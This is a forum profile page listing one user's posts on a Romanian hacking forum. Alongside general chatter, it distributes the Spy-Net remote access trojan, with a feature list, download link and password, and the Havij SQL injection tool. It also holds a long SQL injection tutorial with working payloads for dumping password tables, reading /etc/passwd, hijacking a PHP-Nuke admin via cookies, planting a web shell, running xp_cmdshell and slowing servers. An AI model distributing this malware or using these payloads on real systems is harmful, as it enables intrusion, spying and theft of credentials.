Jump to content

ZeroCold

Active Members
  • Posts

    1376
  • Joined

  • Last visited

  • Days Won

    17

Everything posted by ZeroCold

  1. Aceeasi poveste veche, scrisa in alt mod. Mai sunt vreo 3-4 de astea pe aici Oricum felicitari pt post, poate va ajuta pe cineva
  2. What you saw before is just the begining! Si asa incepe...urmeaza a doua super arma, apoi a treia si tot asa pana se distruge tot.
  3. Femeile Daca ar fi oprit aia la stop nu s-ar fi intamplat nimic.
  4. Dreptate. restu, deschideti ochii ma, asa se face la fiecare meci m-ai important, daca pierdem sau facem egal ne ca**m pe noi si dam vina pe arbitru, portar...cand de fapt noi suntem de vina. Si un exemplu:
  5. Buna ideea, propun ca mesajul sa fie si in romana si in engleza. Daca gasesc tools, ma bag si eu
  6. Un membru din staff la ei mi-a postat acolo serveru de 2 sau 3 ori , oricum nu mai e valabil. Mersi pt db.
  7. This page has had 919 visits :> Am mai multe vizite pe profilul de pe rst decat pe site-ul meu
  8. Pamela Anderson a avut probleme cu stomacul in scurta vizita pe care a avut-o in Romania. Vedeta Playboy a avut crampe la cea mai asteptata petrecere a anului din Romania din cauza apei de la robinet. Drept urmare, 30 din cele 60 de minute cat ar fi trebuit sa stea la petrecerea de la Palatul Snagov, Pamela a stat la toaleta, scrie Libertatea. Problemele blondei sexoase i-au cam nemultumit pe invitatii care au platit bani grei pentru a se distra alaturi de Pamela la Palatul Snagov.
  9. ZeroCold

    Hey

    be welcome
  10. De pe siteul oficial: Download: http://www.artisteer.com/?p=download
  11. Nu am incredere in femei, nu am incredere in nimeni, nici in mama (ma refer la incredere deplina) ...aa adica exista o singura persoana in care am incredere deplina...EU :> Deci erau duse cu barca, doar ca atunci cand le-ai intalnit tu erau ancorate... Erau oprite sa isi ia provizii si au gasit si de unde . ---- Ganditi logic sa nu aveti incredere in nimeni. (incredere deplina) O sa ajungeti . @prodil89: subscriu :>
  12. General says cyber attacks must be stopped Former NATO commander General Wesley Clark has confirmed a "growing number" of severe cyber attacks against US government and commercial installations. According to Clark, the US currently possesses both the technology and "means" to stop the unrelenting cyber offensive. General says cyber attacks must be stopped"The job now is to deploy these assets as soon as possible," Clark told an audience of security specialists at the National Press Club. He noted that thousands of cyber attacks that already have been launched against such key government agencies as the Departments of Defense, State, Treasury & Commerce. ?? Coordinated strikes have also targeted various electric grids and other critical infrastructure across the continental United States. "[Clearly], the nation's security and economy are at risk of being 'closed down' or seriously compromised at any moment. "This would be a major disaster for the United States and our allies throughout the world. We have no time to waste. The time for action is now." Clark - who chairs the advisory board of InZero Systems - urged the rapid adoption of the company's heavily armored hardware platform, which has reportedly rebuffed "millions" of sophisticated cyber attacks. "Nothing gets through...In test after test, it has proven to be totally unhackable," claimed Clark. "We know this technology works and is relatively economical...But equally important, it is readily available. We should be installing it as widely as possible before that disaster strikes." Sursa: aici
  13. Inainte de a posta am dat search dupa Havij v1.1 Advanced Sql Injection si Havij v1.1 si nu era. Nu am stiut ca a mai fost postat. Inteleg romaneste Fara offtopic, nu mai dau reply pe tema asta
  14. Imi cer scuze, nu am stiut. Nu mai postez.
  15. Da search dupa : Havij v1.1 Advanced Sql Injection sau Havij v1.1 Daca il gasesti eu sterg topicul.
  16. Spy-Net V2.7 New features in v2.7 Spy-Net: Added optional connection limit. Increased stability of the connection. Spy-Net is now as stable as SS-Rat. Increased speed in the file manager and units. Auto start feature in most nw. The password recovery has improved. Features and specifications: Server of about 280 KB, depending on whether you select the icon, rootkit, UPX compressed, etc. Windows XP, Vista and 7 compatible. DNS Updater (for now works with No-IP. Dyndns updater developing atm) File Manager with a full load of options like FTP upload, set the attributes to files, preview images, etc, etc, etc. List of Windows. Process List. List of devices. List of services. Registry Editor. Installed Programs. List of Active Ports. Remote Desktop. Capture Webcam. Capture audio. Tool to recover the password (with direct download to the client or FTP logs). Password Grabber. Socks 4 / 5 proxy. HTTP proxy. Open web pages. Download and execute. Send local files and execute or normally hidden. Client Remote Chat. Prompt MS-DOS Run cmd. Grabber clipboard. Remote file search and search for passwords. Access to the download folder, screenshots capturing, desktop and web remote from the menu. Traffic encryption between the client and the server. Some options (restart, lock buttons and things ....) and all options related to the server (remove, rename, etc etc etc); Add a new option for the shot - expected to connect the browser first. It seems useful in some cases. Rootkit in the beta stage and is being developed. It hides the process name and startup keys have SPY_NET_RAT as a name. Tested on XP and work are being developed and tested in other operating systems. Limit Connections selection. Binder. Ability to choose between whether the server is installed or not on the remote computer. Download: http://www.multiupload.com/5WI4P6ZW1L Password: DarkJairo Scanat de Famouz : Report date: 2010-09-07 02:39:56 (GMT 1) File name: [b]spynet-2-7-scenecoderz-cc-edit[/b] File size: 2266624 bytes MD5 Hash: f7a8e99f27e8caf794c571de5d47cef6 SHA1 Hash: 1f8dc17ce07c6bc7b9ecb0419d700ffb11603c54 Detection rate: [color=red]14[/color] on 16 ([color=red]88%[/color]) Status: [color=red]INFECTED[/color] [i]Detections[/i] a-squared - [color=red]Virus.Win32.Delf!IK[/color] Avast - [color=red]Win32:Spyware-gen [Spy][/color] AVG - [color=red]HackTool.JES[/color] Avira AntiVir - [color=red]TR/Spy.Spatet.CS[/color] BitDefender - [color=red]Trojan.Generic.3629498[/color] ClamAV - [color=red]Trojan.Llac-1[/color] Comodo - [color=red]UnclassifiedMalware[/color] Dr.Web - [color=red]Win32.HLLW.SpyNet[/color] F-PROT6 - [color=red]W32/DelfInject.L.gen!Eldorado[/color] Ikarus T3 - [color=red]Virus.Win32.Delf[/color] Kaspersky - [color=red]Trojan-Dropper.Win32.Decay.fao[/color] NOD32 - [color=red]Win32/Spatet.H[/color] Panda - [color=red][/color] TrendMicro - [color=red][/color] VBA32 - [color=red]Trojan-Dropper.Win32.Decay.fao[/color] VirusBuster - [color=red]Trojan.DR.Decay.KB[/color] [i]Scan report generated by [url=http://novirusthanks.org]NoVirusThanks.org[/url][/i][i]File Info[/i]
  17. Havij V1.1 Advanced Sql Injection Changes in this version: This version has been tried more versions before the bugs are resolved. - Difficult to cancel when the error on the side was Analayz. - A bug in getting the mssql tables was resolved. - Difficult to find current database mssql was resolved. - Html encode the data storage issue was resolved. - A bug in the automatic detection Aynjkshn type was removed. - A new site was added md5 crack and other sites to update. - List of tables and columns spread Krdtd. Features: Supported Databases with injection methods: MsSQL 2000/2005 with error MsSQL 2000/2005 no error (union based) MySQL (union based) MySQL Blind MySQL error based Oracle (union based) MsAccess (union based) Automatic database detection Automatic type detection (string or integer) Automatic keyword detection (finding difference between the positive and negative response) Trying different injection syntaxes Proxy support Real time result Options for replacing space by /**/,+,... against IDS or filters Avoid using strings (magic_quotes similar filters bypass) Bypassing illegal union Full customizable http headers (like referer and user agent) Load cookie from site for authentication Guessing tables and columns in mysql<5 (also in blind) and MsAccess Fast getting tables and columns for mysql Multi thread Admin page finder Multi thread Online MD5 cracker Getting DBMS Informations Getting tables, columns and data Command executation (mssql only) Reading system files (mysql only) insert/update/delete data How to use This tool is for exploiting SQL Injection bugs in web application. For using this tool you should know a little about SQL Injections. Enter target url and select http method then click Analyze. Note: Try to url be valid input that returns a normal page not a 404 or error page. Licence This program is free software. I hope it be useful for you. This software is provided "as is" without warranties. Feel free to share and distribute it anywhere but please keep the files original! Disclaimer We are NOT responsible for any damage or illegal actions caused by the use of this program. Use on your own risk! Download: http://www.itsecteam.com/files/Havij%201.10.rar _____
  18. Invata asta: http://www.oriceon.com/tutorial_v2.1.rarapoi asta: http://rstcenter.com/forum/25566-tutorial-sqli-structured-query-language-injection.rstsi vezi ce mai gasesti pe aici... Edit: iti recomand sa folosesti Easy PHP, contine tot ce ai nevoie (PHP, Apache, MySQL, phpmyadmin etc...). Gasesti link de download in tutorialul de la oriceon. Site oficial: http://www.easyphp.org/
  19. @FakeCN, nu are rost s-au mai facut posturi de genu si nu s-a rezolvat nimic. Posturi de calitate sunt, sunt multe, dar nu se observa, e ca si cum ai arunca un N8 intr-un munte de 1100 . Posturile de cacat le acopera pe cele de calitate. Sunt multi care ar posta cate ceva interesant, dar... De exemplu show off, acolo nu o sa mai postez niciodata, doar o sa ii felicit pe ceilalti dar nu o sa deschid threaduri. De ce ?? Deoarece poti gasi pe google orice e postat acolo, iar vizitatorii au acces acolo fara sa se inregistreze. Din cauza asta am avut probleme cu adminul unui site, de atunci nu am mai deschis threaturi acolo. Ar fi multe exemple de dat, dar nu are rost, la fel cum nici threatul asta nu are rost. RST e cea mai buna comunitate de hacking din Romania, dar este organizata prost.
  20. Bine ai revenit!
  21. Psihologie inversa _______________ Sunt ratat, asa...si?? @Nytro, da-ti warn
  22. ZeroCold

    fmm

    La fel si la mine, pe zerocold am dat add doar la cei care au legatura cu hackingul sau pc-urile. Dar apar si altii Aaaa da... daca tot s-a deschis un topic de asta. Atunci cand dati add ar fi de preferat sa va prezentati inainte, mai prind cate unul care il intreb cine ii zice sa spun eu cine is ca eu i-am dat add. WTF!??, nici eu, nu ma prezint de fiecare data dar stiu la cine dau add si la cine nu on: eu nu impart lista de contacte cu nimeni, poate sa fie sora, frate, var...nimeni ! Si daca vrea cineva o persoana din lista la mine, intreb intai persoana respectiva daca doreste sa primeasca add, ar fi binesa faceti toti ca mine
  23. ZeroCold

    Oy!

    Be welcome!
  24. Tutorial SQLI - Structured Query Language Injection 1. Introducere: Astazi, foarte multe aplicatii web isi pastreaza datele in baza de date , deoarece acest lucru permite generarea de pagini dinamice. Aplicatia web primeste de la utilizator date, aceste date sunt utilizate de aplicatie/script pentru a genera o cerere la baza de date. In majoritatea cazurilor pentru a genera cereri la baza de date este utilizat limbajul SQL (Structured Query Language). SQL Injection este o vulnerabilitate web ce apare atunci cand datele primite de la utilizator nu sunt prelucrate correct. Atunci un raufacator poate schimba cererea la baza de date, astfel incat sa faca posibil furtul datelor private. 2. Bazele SQL Injection : Sa presupunem ca avem in baza de date urmatorul tabel (users): O interogare care extrage datele din baza de date poate arata asa: SELECT * FROM users WHERE name =’$name’ In acest caz, valorile campului “name” sunt comparate cu valoarea variabilei “$name”. Daca valoarea variabilei “$name” a fost obtinuta din parametric URL sau din cookie si nu este prelucrata la simboluri speciale atunci interogarea la baza de date este vulnerabila. Raufacatorul poate modifica interogarea in felul urmator: Daca variabila “$name” primeste valoarea “z0r”, atunci cererea la baza de date va fi urmatoarea: SELECT * FROM users WHERE name = 'z0r' Interogarea este corecta. Dar daca valoarea variabilei va primi valoarea “ zzz’ “ interogarea va devein incorecta din punct de vedere syntactic, deoarece aceasta prezinta un symbol “ ‘ “ in plus: SELECT * FROM users WHERE name =’zzz[COLOR=Red]’[/COLOR]’ Simbolul ‘ face posibila modificarea cererii la baza de date si nu este singurul simbol care poate face acest lucru. Sa presupunem ca cererea de mai sus este folosita de o aplicatie web pentru a afisa datele private ale utilizatorului current logat. Folosind simbolul ‘ raufacatorul poate sa vada cu usurinta datele private ale tuturor utilizatorilor inregistrati, transmitand una din urmatoarele valori pentru parametrul $name. Vom presupune ca in system sunt inregistrati utilizatorii “Admin”, “ ZeroCold” si “Settriks”: random_data’ OR name=’Admin random_data’ OR name=’ZeroCold random_data’ OR name=’Settriks Cererile SQL catre baza de date vor fi: SELECT * FROM users WHERE name=’random_data’ OR name=’Admin’ SELECT * FROM users WHERE name=’random_data’ OR name=’ZeroCold’ SELECT * FROM users WHERE name=’random_data’ OR name=’Settriks’ Injectarea permite extragerea datelor unui utilizator. Raufacatorul daca doreste poate sa obtina date despre toti utilizatorii transmitand variabilei $name valoarea: random_data’ OR ‘1’=’1Cerearea cu codul injectat arata asa: SELECT * FROM users WHERE name=’random_data’ OR ‘1’=’1’Va intoarce toate inregistrarile din tabelul users. 3. Moduri de testare a aplicatiilor web la SQL Injection Modurile de testare a aplicatiilor web la SQL Injection constau in formarea unei liste de parametric cu care lucreaza aplicatia ( atat parametrii GET cat si cei POST), incluzand si parametric cookie. Apoi acesti parametri sunt testati individual la prelucrarea simbolurilor speciale sau a cuvintelor cheie (de genul WHERE) care ar ajuta la exploatarea vulnerabilitatii. 3.1 Identificarea parametrilor vulnerabili Sa presupunem ca aplicatia web este configurata in asa fel incat in cazul aparitiei unei erori SQL, in browser va aparea textul erorii si posibil si o portiune din interogare. Daca raufacatorului I se afiseaza chiar si o portiune de interogare, injectarea codului SQL malicios nu va fi o problema. Presupunem ca aplicatiei web I s-a trimis un parametru GET id=zzz’: http://127.0.0.1/inj.php?id=zzz’Pentru a determina daca parametrul este vulnerabil este nevoie de a cauta in pagina returnata de server fraze de genul : “have an error”, “SQL syntax”, “SQL Server”, “MySQL”, “Oracle” etc. Exista cazuri in care erorile returnate de server se plaseaza in parametri ascunsi (hidden input, headers) sau comentarii. In acest caz raufacatorului ii este foarte usor sa injecteze un cod SQL malicious: http://127.0.0.1/inj.php?id=zzz’;+drop+table+users;--Trebuie mentrionat ca nu toate SGBD permit concatenarea interogarilor la baza de date. Este foarte raspandita situatia cand in textul erorii returnate de server poate fi aflat tipul bazei de date pe care o foloseste aplicatia web: Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in …Textul erorii de mai sus este util raufacatorului la formarea codului SQL malicios ce este specific unui tip de SGBD. 3.2 Identificarea parametrilor vulnerabili in cazurile cand nu se afiseaza erorile Sa presupunem ca erorile ce apar in cazurile cererilor la baza de date nu sunt afisate. Atunci raufacatorului ii ramane posibilitatea de a determina prezenta vulnerabilitatii dupa comportamentul aplicatiei web. Cu o mare probabilitate se poate spune ca parametrul este vulnerabil atunci cand serverul returneaza erorile 302 (page redirect) si 500 (internal server error). In acest caz raufacatorul va utilize tehnici mai avansate. Pentru a le intelege este nevoie sa cunoasteti tipurile de baza SQL. Atributele SQL pot avea unul din cele 3 tipuri de baza: - numeric; - sir de charactere; - datetime. Fiecare tip are caracteristicile sale specific care pot auta raufacatorul in exploatarea vulnerabilitatii. In SQL parametrii numerici se transmit asa cum sunt, iar sirurile de caractere si valorile datetime sunt transmise intre ghilimele (unele SGBD permit transmiterea si a valorilor numerice intre ghilimele): SELECT * FROM users WHERE id=5 SELECT * FROM users WHERE name=’Admin’ Testarea la SQL Injection a parametrilor numerici este foarte simpla: http://127.0.0.1/inj.php?id=5’ http://127.0.0.1/inj.php?id=6-1 http://127.0.0.1/inj.php?id=4+1Daca parametrul id este vulnerabil in primul caz va genera o eroare SQL (sau o exceptie: error 302,500 – cand erorile SGBD nu se afiseaza) deoarece cererea: /* 1 */ SELECT * FROM users WHERE id=5’Nu este corecta din punct de vedere syntactic. Cererile 2a si 2b: /* 2a */ SELECT * FROM users WHERE id=6-1 /* 2b */ SELECT * FROM users WHERE id=4+1 Se vor executa correct si vor da ambele acelasi rezultat (vor extrage inregistrarile din baza de date cu valoarea variabilei id=5), indicand 100% ca parametrul numeric id este vulnerabil. O tehnica similara se foloseste la testarea parametrilor de tip sir caracatere cu exceptia unor diferente: valorile parametrilor sunt transmise intre ghilimele iar concatenarea sirurilor de caractere in diferite SGBD este realizata diferit (MySQL si MSSQL Server foloseste semnul +, iar Oracle semnul ||). Modul de testare al parametrului name: http://127.0.0.1/inj.php?name=ZeroColdare deasemenea 2 cazuri posibile. In primul caz, parametrului i se transmite o valoare care o sa genereze eroare SQL: http://127.0.0.1/inj,php?name=Zero’ColdCererea SQL ce va genera eroare arata asa: /* 1 */ SELECT * FROM users WHERE name=’Zero’Cold’Va genera eroare deoarece este prezent simbolul ‘ in plus. In al doi-lea caz, parametrului I se transmite o valoare care indica vulnerabilitatea acestuia: http://127.0.0.1/inj.php?name=Zero’+’Cold http://127.0.0.1/inj.php?name=ZeroC’+’old Cererile catre baza de date vor arata astfel: /* 2a */ SELECT * FROM users WHERE name=’Zero’+’Cold’ /* 2b */ SELECT * FROM users WHERE name=’ZeroC’+’old’Ambele cereri SQL sunt corecte, ele returneaza acelasi rezultat. 3.3 Parametrii vulnerabili in cookie Dupa cum se stie aplicatia web primeste de la utilizatori date din cereri GET si POST dar si din cookies. Majoritatea programatorilor web nici nu presupun ca parametrii primiti din cookie pot fi vulnerabili. Un exemplu pe baza portalului PHP-Nuke versiunea 7.0 care dupa cum se stie este vulnerabil SQL Injection. In cookie se pastreaza un sir de caractere de forma base64_encode(login:md5(pass)). O portiune din cookies: ... * admin YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ admin YWRtaW46NWY0ZGNjM2I1YWE3NjVkNjFkODMyN2RlYjg4MmNmOTk6 127.0.0.1/phpnuke/ ... Sirul de caractere este codat in base64: YWRtaW46OTZINzkyMTg5NjVIYjcyYzkyYTU0OWRkNWEzMzAxMTI6 Decodat va fi: admin:96e79218965eb72c92a549dd6a330112:Unde admin = login si 96e79218965eb72c92a549dd6a330112= md6(pass) (functia hash md5 a parolei), simbolul : este auxiliar. O portiune din cod a fisierului de autorizare a utilizatorilor auth.php: ... f(isset($admin) && $admin != "") { // daca exista variabila $admin $admin = base64_decode($admin); // se decodeaza din base64 (din cookie) $admin = explode(":", $admin); // se imparte sirul in pina si dupa “:” $aid = "$admin[0]"; // login-ul $pwd = "$admin[1]"; // md5(parola) – md5 hash din cookie ... $sql = "SELECT pwd FROM ".$prefix."_authors WHERE aid='$aid'"; // !!! ... Dupa cum observati variabila $aid primita din cookie nu este filtrate la simboluri special si este vulnerabila. Astfel raufacatorul poate modifica cookies. Plasand in locul sirului de caractere: YWRtaW46OTZlNzkyMTg5NjVlYjcyYzkyYTU0OWRkNWEzMzAxMTI6 Sirul: YWRtaW4nOyB1cGRhdGUgbnVrZV9hdXRob3JzIFNFVCBwd 2Q9J2M5ODY5ZGQwNDA3MTc4ZjQxZjBlMmE1NGQxMGI4Nzc1 JyBXSEVSRSBhaWQ9J2FkbWluOjk2ZTc5MjE4OTY1ZWI3MmM5Mm E1NDlkZDVhMzMwMTEyOg== Decodat este: admin'; update nuke_authors SET pwd='c9869dd0407178f41f0e2a54d10b8775' WHERE aid='admin:96e79218965eb72c92a549dd5a330112:Unde c9869dd0407178f41f0e2a54d10b8775 este functia hash md5 a parolei ‘hacked_password’. Ce se va intampla?? Parola administratorului va fi schimbata. 4. Metode de atac Sa presupunem ca raufacatorul gaseste un parametru vulnerabil. Pentru a exploata vulnerabilitatea raufacatorul trebuie sa cunoasca tipul cererii SQL in care se va injecta codul malicios. Cel mai des in aplicatiile web sunt utilizate 4 tipuri de cereri SQL: 1. SELECT 2. INSERT 3. UPDATE 4. DELETECare dintre acestea este folosit intr-un caz concret? Poate fi determinat analizand logica si semantic scriptului vulnerabil. Daca scriptul afiseaza date ce corespund unui identificator anumit, atunci cu o mare probabilitate cererea este de tipul SELECT; Daca scriptul adauga unele date in baza de date, de exemplu adaugarea unui comentariu sau un post in forum, atunci cererea este de tipul INSERT; Daca scriptul modifica informatia, de exemplu schimbarea parole, editarea postului in forum, cererea este de tipul UPDATE; Daca are loc stergerea informatiei, spre exemplu anularea unui account, este posibil ca cererea sa fie de tipul DELETE sau de tipul UPDATE. Cel mai des sunt intalnite vulnerabilitati in cereri SELECT. 4.1 Injectarea UNION SELECT Deoarece cele mai des vulnerabile sun cererile de tipul select, raufacatorii in primul rand vor incerca sa injecteze clause UNION SELECT, deoarece in caz de success raufacatorul va obtine acces la toate tabelele de system. In aceste tabele se gasesc informatii depre structura tuturor bazelor de date de pe server. Mai jos este prezentata lista tabelelor de system pentru diferite SGBD: 1. MS SQL Server INFORMATION_SCHEMA sysobjects syscolumns 2. MySQL mysql.user mysql.host mysql.db 3. Oracle SYS.USER_OBJECTS SYS.USER_TABLES SYS.USER_VIEWS SYS.USER_TAB_COLUMNS SYS.TAB SYS.ALL_TABLES Inainte de a efectua injectarea UNION SELECT raufacatorul trebuie sa afle numeral de attribute in cererea SQL, tipul fiecarui atribut si denumirea unor tabele de system ceea ce se considera greu de realizat in cazurile cand erorile nu se afiseaza in browser. Cererea UNION SELECT trebuie sa contina acelasi numar de attribute, iar atributele trebuie sa fie de acelasi tip. 4.1.1 Identificarea numarului de attribute Mai intai voi arata cat de simplu se afla numarul de atribute in cazul in care erorile sunt afisate in browser. Sa presupunem ca exista urmatoarea vulnerabilitate in aplicatia web ce utilizeaza SGBD MySQL: http://127.0.0.1/inj.php?id=5’Pentru a afla numarul de atribute raufacatorul va forma cererile: http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0/* http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1/* http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1,2/* http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1,2,3/*[FONT=Century Gothic] …. [/FONT]Pana cand mesajul de eroare va disparea: The used SELECT statements have different number of columns Logurile MySQL: mysql> select * from users where id=-1 union select 0; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4; ERROR 1218: The used SELECT statements have a different number of columns mysql> select * from users where id=-1 union select 0,1,2,3,4,5; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | 3 | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec)In cazul cand erorile cererii SQL nu se afiseaza in browser, raufacatorul se va folosi de clauza ORDER BY pan ace va aparea mesajul de eroare: http://127.0.0.1/inj.php?id=-1+ORDER+BY+1/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+2/* http://127.0.0.1/inj.php?id=-1+ORDER+BY+3/*[FONT=Century Gothic] ….[/FONT]Logurile MySQL: mysql> select * from users where id=-1 order by 1; Empty set (0.01 sec) mysql> select * from users where id=-1 order by 2; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 3; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 4; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 5; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 6; Empty set (0.00 sec) mysql> select * from users where id=-1 order by 7; ERROR 1054: Unknown column '7' in 'order clause' Deoarece o cerere de tip SELECT are cel putin un atribut, aceasta tehnica este foarte efectiva. Raufacatorul incrementeaza numarul coloanei cupa care se face sortarea sic and aplicatia web afiseaza o eroare (302, 500) numarul exact al coloaneor se stie. 4.1.2 Identificarea tipului atributelor Dupa ce se cunoaste numarul de atribute, trebuie sa aflam tipul acestora. In MySQL tipul datelor este foarte usor de determinat deoarece valorile numerice pot fi considerate si ca valori sir de caractere. Insa atunci cand se folosesc SGBD MS SQL Server sau Oracle deseori pt a rezolva problema data se utilizeaza cuvantul NULL, deoarece acesta poate avea orice tip. Presupunand ca numarul de atribute este calculate , raufacatorului ii este foarte usor sa injecteze clauza UNION cu toate atributele nule. Adaugarea instructiunii WHERE care intotdeauna va fi evaluate ca falsa garanteaza eliminarea erorilor (unele aplicatii pot sa nu prelucreze falorile NULL) Voi adduce un exemplu pentru SGBD MS SQL Server (ceeea ce este similar cu SGBD Oracle): http://127.0.0.1/inj.asp?id=-1’+UNION+SELECT+NULL,NULL,NULL,NULL,NULL,NULL+WHERE+1=2-- Acest tip de injectare cu NULL are 2 scopuri. Principalul scop este de a obtine o cerere cu UNION fara erori. SI cealalta – aceasta cerere nu returneaza numic, ceea ce dovedeste ca totul lucreaza corect. Odata ce este formata cererea procesorul de identificare a tipurilor atributelor, fiecarui atribut i se va da valori numerice, sir de character sau datetime. -1’+UNION+SELECT+1,NULL,NULL,NULL,NULL,NULL+WHERE+1=2—Nici o eroare – primul atribut este numeric -1’+UNION+SELECT+1,2,NULL,NULL,NULL,NULL+WHERE+1=2—Eroare -1’+UNION+SELECT+1,’2’,NULL,NULL,NULL,NULL+WHERE+1=2—Nici o eroare – al doilea atribut are tipul sir caractere -1’+UNION+SELECT+1,’2’,3,NULL,NULL,NULL+WHERE+1=2—Nici o eroare – al 3-lea atribut este numeric … Astfel, astfel avand toata informatia, datele din tabelele de sistem pot fi obtinute cu success. Un exemplu de obtinere a datelor din SGBD MySQL: mysql> select * from users where id=-1 union select 0,1,2,mysql.user.password,4,5 from mysql.user; +----+------+--------+----------+-------+------------+ | id | name | mgroup | password | email | ip_address | +----+------+--------+----------+-------+------------+ | 0 | 1 | 2 | fdsJD83h | 4 | 5 | +----+------+--------+----------+-------+------------+ 1 row in set (0.00 sec) 4.2 Obtinerea unui interpretator de comenzi Unele SGBD permit extragerea rezultatelor cererii SQL intr-un fisier. Acest lucru permite raufacatorilor de a forma un script care ulterior va fi util pentru controlul total al serverului (spre exemplu un php sau asp shell). In MySQL extragerea rezultatelor in fisier se face utilizand clauza INTO OUTFILE. Un exemplu sumplu ar fi urmatorul: INSERT ‘ <? System($cmd) ?> ‘ INTO OUTFILE /tmp/shell.phpIn MS SQL Server extragerea rezultatelor in fisier difera putin. In component cu serverul sunt unele module ce contin procedure ce usureaza lucrul cu serverul si care pot fi apelate direct din cererea SQL. Una din aceste procedure – master.dbo.sp_makewebtask – are destinatia aceasta. O alta metoda de a executa comenzi de sistem pe serverul pe care este instalat SGBD MS SQL Server este utilizarea procedurii master.dbo.xp_cmdshell. Un exemplu de cerere SQL: EXEC master.dbo.xp_cmdshell ‘cmd.exe dir’ 4.3 Metode specifice asupra unui anumit tip de SGBD 4.3.1 MySQL SQL Injection permite sa aflati si alte date: /* baza de date curenta */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,DATABASE();/* utilizatorul care a lansat baza de date */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,USER(); /* versiunea serverului */ select * from users where id=-1 UNION SELECT 0,1,2,3,4,VERSION();Daca utilizatorul care a lansat SGBD are drepturi file_priv, atunci raufacatorul poate obtine continutul oricarui fisier de pe server: http://127.0.0.1/inj.php?id=-1’+UNION+SELECT+0,1,2,3,4,5,LOAD_FILE(‘/etc/passwd’)/*O alta metoda de exploatare a vulnerabilitatii este utilizarea functiei char(num) care reintoarce simbolul cu codul ASCII num: select * from users where id=9999 union select 0,1,2,char(109,121,115,113,108,46,117,115,101,114,46,112,97,115,115,119,111,114,100),4,5 from mysql.user ceea ce este echivalent cu: select * from users where id=9999 union select 0,1,2,mysql.user.password,4,5 from mysql.user Vulnerabilitatea SQL injection poate fi exploatata si pentru realizarea atacului DoS: select * from users where id= BENCHMARK(10000000,BENCHMARK(10000000, md5(current_date)))trimiterea de catre raufacator a cîteva cereri de acest fel va face serverul sa frîneze considerabil. 4.3.2 MS SQL Server In baza de date de sistem INFORMATION_SCHEMA se gaseste informatia despre toate tabelele de pe server. Extragerea datelor din baza de date poate fi cu usurinta facuta in cazul cand mesajele de erori ODBC ce se afiseaza in browser. Sa presupunem ca exista o aplicatie web vulnerabila: http://127.0.0.1/?page_id=1’Pentru inceput raufacatorul va afla denumirile tabelelor din baza de date, astfel va fi formata o cerere SQL malicioasa care ar extrage numele primului table: http://127.0.0.1/?page_id=-1’;SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES-- Serverul va reîntoarce: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type smallint Denumirea primului tabel din baza de date este table1. Apoi pentru a afla denumirile celorlalte tabele raufacatorul pe rînd va forma urmatoarele cereri: http://127.0.0.1/?page_id=-1’;SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1')— Raspunsul serverului: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table2' to a column of data type smallint Cererea urmatoare va fi: http://127.0.0.1/?page_id=-1’;SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table1','table2')—Acest exemplu demonstreaza cît de folositoare de dovedesc a fi mesajele de eroare returnate de server pentru raufacator. 5. Caracteristici tipice a SGBD 5.1. MySQL 1. Suporta INTO OUTFILE 2. Majoritatea modulelor si bibliotecilor nu permit executarea cererilor multiple la baza de date 3. Suporta interogari UNION si JOIN (doar versiunile > =4.0) 4. Permite transmiterea valorilor numerice între ghilimele 5.2. Oracle 1. Suporta subselect 2. Suporta UNION 3. Nu permite executarea cererilor multiple la baza de date 4. Simbolul || se foloseste pentru concatenarea sirurilor de caractere 5.3. MS SQL 1. Suporta subselect 2. Suporta UNION 3. Permite executarea cererilor multiple la baza de date 4. Simbolul + se foloseste pentru concatenarea sirurilor de caractere 6. Metode de aparare Pentru a evita o posibila exploatare a vulnerabilitatii SQL Injection în aplicatia web, este necesar de a prelucra toate datele ce provin de la utilizatori la urmatoarele simboluri: 1) Ghilimelele atit simple cît si duble (‘, “, `). Cu ajutorul acestora în majoritatea cazurilor se efectuiaza injectarea codului SQL. 2) Simbolurile de comentarii specifice SGBD anumit (/*,--). Cu ajutorul acestora poate fi omisa o parte din interogare. 3) Simbolurile ce împart instructiunile SQL ( ; ). Prezenta acestui simbol permite de a forma mai multe cereri la baza de date. 4) Deasemenea datele ar trebui sa fie verificate la prezenta si la alte simboluri (_,%,*). 5) In cazul cînd în cererea SQL se utilizeaza date numerice primite de la utilizatori, înainte de a le plasa în cererea SQL 